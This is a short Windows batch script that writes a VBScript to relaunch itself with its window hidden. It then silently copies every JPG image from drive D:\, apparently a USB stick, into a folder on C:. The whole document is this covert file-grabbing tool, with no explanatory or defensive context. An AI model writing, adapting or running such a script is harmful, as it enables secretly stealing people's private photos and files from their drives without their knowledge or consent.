@if exist scucopy.vbs @goto findusb1
@echo Set ws = CreateObject("Wscript.Shell")>scucopy.vbs
@echo ws.run "cmd /c scucopy.bat",vbhide >>scucopy.vbs
@start scucopy.vbs&&exit
:findusb1
del scucopy.vbs
md c:\1
FOR /R D:\ %%A IN (*.JPG) DO COPY /Y "%%A" C:\1\
exit |
|